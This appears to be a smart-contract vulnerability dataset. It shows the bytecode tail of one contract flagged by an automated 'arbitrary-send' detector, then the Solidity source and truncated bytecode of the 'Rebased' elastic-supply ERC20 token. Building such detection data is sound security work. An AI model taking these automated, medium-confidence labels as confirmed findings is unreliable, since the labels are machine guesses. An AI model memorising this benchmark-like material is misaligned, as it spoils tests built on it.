081526002602052604090205460ff16600381111561177d57fe5b11155b151561178b57600080fd5b81600160a060020a03811615156117a157600080fd5b600160a060020a03831660009081526007602052604090205460ff161561183057600160a060020a0383166000908152600760205260409020805460ff191690556008546117f690600163ffffffff61266b16565b600855600160a060020a0383167f8a56897dfce8680cbcfd8a39fc9a77d55677650ea50712197f14b6fbc7e0677b60405160405180910390a25b505050565b60026000600160a060020a03331660009081526002602052604090205460ff16600381111561186057fe5b11801561189e575080600381111561187457fe5b600160a060020a03331660009081526002602052604090205460ff16600381111561189b57fe5b11155b15156118a957600080fd5b600954600160a060020a03331690600080516020612f678339815191529060ff1684604051911515602083015215156040808301919091526060808352600d908301527f667265657a65456e61626c656400000000000000000000000000000000000000608083015260a0909101905180910390a2506009805460ff1916911515919091179055565b60085481565b600e8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d805780601f10610d5557610100808354040283529160200191610d80565b60036000600160a060020a03331660009081526002602052604090205460ff1660038111156119ce57fe5b118015611a0c57508060038111156119e257fe5b600160a060020a03331660009081526002602052604090205460ff166003811115611a0957fe5b11155b1515611a1757600080fd5b81600160a060020a0381161515611a2d57600080fd5b8230600160a060020a031681600160a060020a031614151515611a4f57600080fd5b836001600160a060020a03821660009081526002602052604090205460ff166003811115611a7957fe5b1415611a8457600080fd5b600160a060020a03851660009081526007602052604090205460ff161515611b1857600160a060020a0385166000908152600760205260409020805460ff19166001908117909155600854611ade9163ffffffff61265c16565b600855600160a060020a0385167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a25b5050505050565b600054600160a060020a031681565b60105460ff1681565b60026000600160a060020a03331660009081526002602052604090205460ff166003811115611b6257fe5b118015611ba05750806003811115611b7657fe5b600160a060020a03331660009081526002602052604090205460ff166003811115611b9d57fe5b11155b1515611bab57600080fd5b836000815111611bba57600080fd5b836000815111611bc957600080fd5b836000815111611bd857600080fd5b600d878051611beb929160200190612ece565b50600e868051611bff929160200190612ece565b50600f858051611c13929160200190612ece565b5033600160a060020a03167f661ac65f03704ae18172992749e864e6664203c36752b2f6aec840dec016c51a88888860405180806020018060200180602001848103845287818151815260200191508051906020019080838360005b83811015611c87578082015183820152602001611c6f565b50505050905090810190601f168015611cb45780820380516001836020036101000a031916815260200191505b50848103835286818151815260200191508051906020019080838360005b83811015611cea578082015183820152602001611cd2565b50505050905090810190601f168015611d175780820380516001836020036101000a031916815260200191505b50848103825285818151815260200191508051906020019080838360005b83811015611d4d578082015183820152602001611d35565b50505050905090810190601f168015611d7a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a250505050505050565b600084600160a060020a0381161515611dac57600080fd5b83600160a060020a0381161515611dc257600080fd5b8560008111611dd057600080fd5b85935083600160a060020a03166323b872dd89308a60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515611e3d57600080fd5b6102c65a03f11515611e4e57600080fd5b505050604051805190501515611e6357600080fd5b85600160a060020a031688600160a060020a03167f92024e89146e4e864038c547cbb7ec2ec79b189856fa0dedc5aebd1bfb179376898860405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015611edc578082015183820152602001611ec4565b50505050905090810190601f168015611f095780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35050505050505050565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d805780601f10610d5557610100808354040283529160200191610d80565b60006001600160a060020a03331660009081526002602052604090205460ff166003811115611fb757fe5b14611fc157600080fd5b601054600160a060020a03331690600080516020612f678339815191529060ff16846040519115156020830152151560408083019190915260608083526013908301527f61636365707441646d696e576974686472617700000000000000000000000000608083015260a0909101905180910390a2506010805460ff1916911515919091179055600190565b600160a060020a03331660009081526007602052604081205460ff161580612078575060095460ff16155b151561208357600080fd5b61208d83836127a0565b9392505050565b6000600281600160a060020a03331660009081526002602052604090205460ff1660038111156120c057fe5b1180156120fe57508060038111156120d457fe5b600160a060020a03331660009081526002602052604090205460ff1660038111156120fb57fe5b11155b151561210957600080fd5b60105433600160a060020a031690600080516020612f6783398151915290610100900460ff1685604051911515602083015215156040808301919091526060808352600c908301527f616363657074446f6e6174650000000000000000000000000000000000000000608083015260a0909101905180910390a2601080548415156101000261ff00199091161790556001915050919050565b60008084600160a060020a03811615156121bb57600080fd5b84600081116121c957600080fd5b8692506121d68787610d88565b156123845782600160a060020a0316638f4ffcb1338830896040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561227357808201518382015260200161225b565b50505050905090810190601f1680156122a05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156122c157600080fd5b6102c65a03f115156122d257600080fd5b50505086600160a060020a03167f4df88a0bc463d1105f5b5e7b0a2e83433ef2058a59573056c6d85ad20f69fc2b878760405182815260406020820181815290820183818151815260200191508051906020019080838360005b8381101561234457808201518382015260200161232c565b50505050905090810190601f1680156123715780820380516001836020036101000a031916815260200191505b50935050505060405180910390a2600193505b5050509392505050565b600154600160a060020a031681565b600082600160a060020a038116158015906123d15750600160a060020a03811660009081526007602052604090205460ff16155b806123df575060095460ff16155b15156123ea57600080fd5b610ddf84846127ac565b600082600160a060020a038116151561240c57600080fd5b82600160a060020a038116151561242257600080fd5b505050600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a060020a03331660009081526002602052604090205460ff16600381111561247957fe5b1461248357600080fd5b80600160a060020a038116151561249957600080fd5b816001600160a060020a03821660009081526002602052604090205460ff1660038111156124c357fe5b14156124ce57600080fd5b8230600160a060020a031681600160a060020a0316141515156124f057600080fd5b600160a060020a03841660009081526002602052604081205460ff16600381111561251757fe5b11156125355760035461253190600163ffffffff61266b16565b6003555b600160a060020a03841660008181526002602052604090819020805460ff191690557fb392249530409099dedf8a34dfe3498cfc2f81a2f80804432221e95cda371754905160405180910390a250505050565b601054610100900460ff1681565b6125a08282612876565b5050565b6125ad81612a19565b50565b600081600160a060020a03811615156125c857600080fd5b8230600160a060020a031681600160a060020a0316141515156125ea57600080fd5b505050600160a060020a031660009081526002602052604090205460ff1690565b600081600160a060020a038116151561262357600080fd5b5050600160a060020a031660009081526007602052604090205460ff1690565b600061208d8383612ad0565b6000610ddf848484612b8d565b60008282018381101561208d57fe5b60008282111561267757fe5b50900390565b60008083600160a060020a038116151561269657600080fd5b83600081116126a457600080fd5b600160a060020a033381166000908152600560209081526040808320938a168352929052205492508285111561270157600160a060020a033381166000908152600560209081526040808320938a16835292905290812055612738565b612711838663ffffffff61266b16565b600160a060020a033381166000908152600560209081526040808320938b16835292905220555b600160a060020a033381166000818152600560209081526040808320948b168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a350600195945050505050565b600061208d8383612d7e565b600082600160a060020a03811615156127c457600080fd5b82600081116127d257600080fd5b600160a060020a03338116600090815260056020908152604080832093891683529290522054612808908563ffffffff61265c16565b600160a060020a033381166000818152600560209081526040808320948b168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a3506001949350505050565b6001600160a060020a03331660009081526002602052604090205460ff16600381111561289f57fe5b146128a957600080fd5b81600160a060020a03811615156128bf57600080fd5b826001600160a060020a03821660009081526002602052604090205460ff1660038111156128e957fe5b14156128f457600080fd5b8330600160a060020a031681600160a060020a03161415151561291657600080fd5b83600081600381111561292557fe5b11801561293e575080600381111561293957fe5b600310155b151561294957600080fd5b600160a060020a03861660009081526002602052604081205460ff16600381111561297057fe5b141561298e5760035461298a90600163ffffffff61265c16565b6003555b600160a060020a0386166000908152600260205260409020805486919060ff191660018360038111156129bd57fe5b021790555085600160a060020a03167f074ffe655755f8e9ed8070a26dfff7bf6b7de4e823685ed4b580ada0b841ed3086604051808260038111156129fe57fe5b60ff16815260200191505060405180910390a2505050505050565b6001600160a060020a03331660009081526002602052604090205460ff166003811115612a4257fe5b14612a4c57600080fd5b80600160a060020a0381161515612a6257600080fd5b8130600160a060020a031681600160a060020a031614151515612a8457600080fd5b600054600160a060020a0384811691161415612a9f57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082600160a060020a0381161515612ae857600080fd5b821580612b185750600160a060020a03338116600090815260056020908152604080832093881683529290522054155b1515612b2357600080fd5b600160a060020a03338116600081815260056020908152604080832094891680845294909152908190208690557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a35060019392505050565b600082600160a060020a0381161515612ba557600080fd5b84600160a060020a0381161515612bbb57600080fd5b8360008111612bc957600080fd5b600160a060020a03871660009081526004602052604090205487908690811115612bf257600080fd5b600160a060020a03881660009081526004602052604090205488908890612c1f908263ffffffff61265c16565b600160a060020a0383166000908152600460205260409020541115612c4357600080fd5b600160a060020a03808c1660009081526005602090815260408083203390941683529290522054891115612c7657600080fd5b600160a060020a038b16600090815260046020526040902054612c9f908a63ffffffff61266b16565b600160a060020a03808d1660009081526004602052604080822093909355908c1681522054612cd4908a63ffffffff61265c16565b600160a060020a03808c166000908152600460209081526040808320949094558e8316825260058152838220339093168252919091522054612d1c908a63ffffffff61266b16565b600160a060020a03808d16600081815260056020908152604080832033861684529091529081902093909355908c1691600080516020612f87833981519152908c905190815260200160405180910390a35060019a9950505050505050505050565b600082600160a060020a0381161515612d9657600080fd5b8260008111612da457600080fd5b600160a060020a0333166000908152600460205260409020548490811115612dcb57600080fd5b600160a060020a03861660009081526004602052604090205486908690612df8908263ffffffff61265c16565b600160a060020a0383166000908152600460205260409020541115612e1c57600080fd5b600160a060020a033316600090815260046020526040902054612e45908863ffffffff61266b16565b600160a060020a0333811660009081526004602052604080822093909355908a1681522054612e7a908863ffffffff61265c16565b600160a060020a03808a166000818152600460205260409081902093909355913390911690600080516020612f87833981519152908a905190815260200160405180910390a3506001979650505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612f0f57805160ff1916838001178555612f3c565b82800160010185558215612f3c579182015b82811115612f3c578251825591602001919060010190612f21565b50612f48929150612f4c565b5090565b610df191905b80821115612f485760008155600101612f52560037719d649d851c9697b183602b8859487914b31559c27a9e1214f7575a66f45cddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205a2d03883354f55e2c210184aafab43893e6b1bf703dedfcfd766fb8a6f07c470029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,770 |
0x74f922ba5555f43e8897b2884f7169f6f58e5e75
|
/**
*Submitted for verification at Etherscan.io on 2020-08-10
*/
// SPDX-License-Identifier: MIT
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Copyright (c) 2020 Rebased
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity ^0.6.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
/**
* @title Rebased ERC20 token
* @dev Rebased is based on the uFragments Ideal Money protocol.
* uFragments is a normal ERC20 token, but its supply can be adjusted by splitting and
* combining tokens proportionally across all wallets.
*
* uFragment balances are internally represented with a hidden denomination, 'gons'.
* We support splitting the currency in expansion and combining the currency on contraction by
* changing the exchange rate between the hidden 'gons' and the public 'fragments'.
*/
contract Rebased is ERC20Detailed {
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
// Used for authentication
address public monetaryPolicy;
modifier onlyMonetaryPolicy() {
require(msg.sender == monetaryPolicy);
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 9;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 25 * 10**5 * 10**DECIMALS;
// TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer.
// Use the highest value that fits in a uint256 for max granularity.
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
// MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GONS + 1) - 1) / 2
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
// This is denominated in Fragments, because the gons-fragments conversion might change before
// it's fully paid.
mapping (address => mapping (address => uint256)) private _allowedFragments;
/**
* @dev Notifies Fragments contract about a new rebase cycle.
* @param supplyDelta The number of new fragment tokens to add into circulation via expansion.
* @return The total number of fragments after the supply adjustment.
*/
function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMonetaryPolicy
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
// From this point forward, _gonsPerFragment is taken as the source of truth.
// We recalculate a new _totalSupply to be in agreement with the _gonsPerFragment
// conversion rate.
// This means our applied supplyDelta can deviate from the requested supplyDelta,
// but this deviation is guaranteed to be < (_totalSupply^2)/(TOTAL_GONS - _totalSupply).
//
// In the case of _totalSupply <= MAX_UINT128 (our current supply cap), this
// deviation is guaranteed to be < 1, so we can omit this step. If the supply cap is
// ever increased, it must be re-included.
// _totalSupply = TOTAL_GONS.div(_gonsPerFragment)
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
constructor(address _monetaryPolicy)
ERC20Detailed("Rebased", "REB", uint8(DECIMALS))
public
{
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[msg.sender] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
monetaryPolicy = _monetaryPolicy;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
/**
* @return The total number of fragments.
*/
function totalSupply()
external
override
view
returns (uint256)
{
return _totalSupply;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
external
override
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
external
override
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
external
override
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
external
override
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
external
override
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b41146103ba578063a457c2d71461043d578063a9059cbb146104a1578063dd62ed3e14610505576100cf565b806370a08231146102e25780637a43e23f1461033a5780638e27d7d714610386576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d9578063313ce5671461025d578063395093511461027e575b600080fd5b6100dc61057d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061f565b60405180821515815260200191505060405180910390f35b6101c3610711565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061071b565b60405180821515815260200191505060405180910390f35b610265610a55565b604051808260ff16815260200191505060405180910390f35b6102ca6004803603604081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a6c565b60405180821515815260200191505060405180910390f35b610324600480360360208110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c68565b6040518082815260200191505060405180910390f35b6103706004803603604081101561035057600080fd5b810190808035906020019092919080359060200190929190505050610cc5565b6040518082815260200191505060405180910390f35b61038e610e6e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103c2610e94565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104025780820151818401526020810190506103e7565b50505050905090810190601f16801561042f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104896004803603604081101561045357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f36565b60405180821515815260200191505060405180910390f35b6104ed600480360360408110156104b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111c6565b60405180821515815260200191505060405180910390f35b6105676004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113f0565b6040518082815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106155780601f106105ea57610100808354040283529160200191610615565b820191906000526020600020905b8154815290600101906020018083116105f857829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561075857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561079157600080fd5b61082083600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149d90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006108b7600454856114bd90919063ffffffff16565b905061090b81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149d90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109a081600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b6000600260009054906101000a900460ff16905090565b6000610afd82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f790919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610cbe600454600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147790919063ffffffff16565b9050919050565b6000600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d2157600080fd5b6000821415610d6e57827f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f26003546040518082815260200191505060405180910390a26003549050610e68565b6000821215610d9f57610d94610d8383611516565b60035461149d90919063ffffffff16565b600381905550610dbb565b610db4826003546114f790919063ffffffff16565b6003819055505b6000196fffffffffffffffffffffffffffffffff166003541115610df5576000196fffffffffffffffffffffffffffffffff166003819055505b610e226003546009600a0a622625a00260001981610e0f57fe5b066000190361147790919063ffffffff16565b600481905550827f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f26003546040518082815260200191505060405180910390a260035490505b92915050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f2c5780601f10610f0157610100808354040283529160200191610f2c565b820191906000526020600020905b815481529060010190602001808311610f0f57829003601f168201915b5050505050905090565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808310611046576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110da565b611059838261149d90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673fffffffffffffffffff